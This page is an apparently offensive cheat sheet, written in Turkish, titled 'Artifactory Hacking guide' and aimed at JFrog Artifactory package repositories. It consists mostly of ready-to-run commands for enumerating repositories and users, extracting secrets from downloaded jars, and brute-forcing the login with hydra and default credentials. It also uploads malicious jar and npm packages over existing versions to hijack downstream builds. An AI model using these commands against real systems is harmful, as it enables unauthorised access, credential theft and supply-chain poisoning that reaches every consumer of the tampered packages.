Skip to content

Artifactory Hacking guide

network supply-chain

Artifactory paket/registry deposudur. Anonim okuma, zayıf API key ve yazılabilir repo supply-chain zehirlemesine gider.

  1. UI/API sürümünü ve anonim erişimi doğrula.

  2. Repo listesi, artifact ve metadata sızıntısını tara.

  3. Yazma izni veya token ile zararlı paket yükle.

  4. Downstream build’lerin zehirli artifact’i çekmesini kanıtla.

Terminal window
curl -skI https://TARGET/artifactory/
Terminal window
curl -sk https://TARGET/artifactory/api/system/version
Terminal window
curl -sk https://TARGET/artifactory/api/repositories
Terminal window
nmap -Pn -sV -p80,443,8081,8082 TARGET
Terminal window
curl -sk https://TARGET/artifactory/api/storage/libs-release-local
Terminal window
curl -sk -u user:pass https://TARGET/artifactory/api/repositories
Terminal window
curl -sk -H 'X-JFrog-Art-Api: API_KEY' https://TARGET/artifactory/api/security/users
Terminal window
ffuf -u https://TARGET/artifactory/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -mc 200,401,403
Terminal window
curl -sk -O https://TARGET/artifactory/libs-release-local/com/corp/app/1.0/app-1.0.jar
Terminal window
unzip -l app-1.0.jar | head
Terminal window
strings app-1.0.jar | rg -i 'password|api[_-]?key|secret|jdbc'
Terminal window
# npm/pypi/docker registry endpoint'leri ayrı dene
curl -sk https://TARGET/artifactory/api/npm/npm-local/
Terminal window
curl -sk -u user:pass -T evil.jar 'https://TARGET/artifactory/libs-release-local/com/corp/app/1.0/app-1.0.jar'
Terminal window
curl -sk -H 'X-JFrog-Art-Api: API_KEY' -T evil.tgz 'https://TARGET/artifactory/api/npm/npm-local/evil/-/evil-1.0.0.tgz'
Aynı groupId:artifactId:version üzerine overwrite = build hijack
admin:password
admin:admin
Terminal window
hydra -L users.txt -P rockyou.txt https-post-form://TARGET/artifactory/ui/login:user=^USER^&password=^PASS^:F=error
[ ] Version/API erişimi
[ ] Anonim repo listing
[ ] Artifact içi secret
[ ] Yazma / overwrite PoC
[ ] Token veya admin etkisi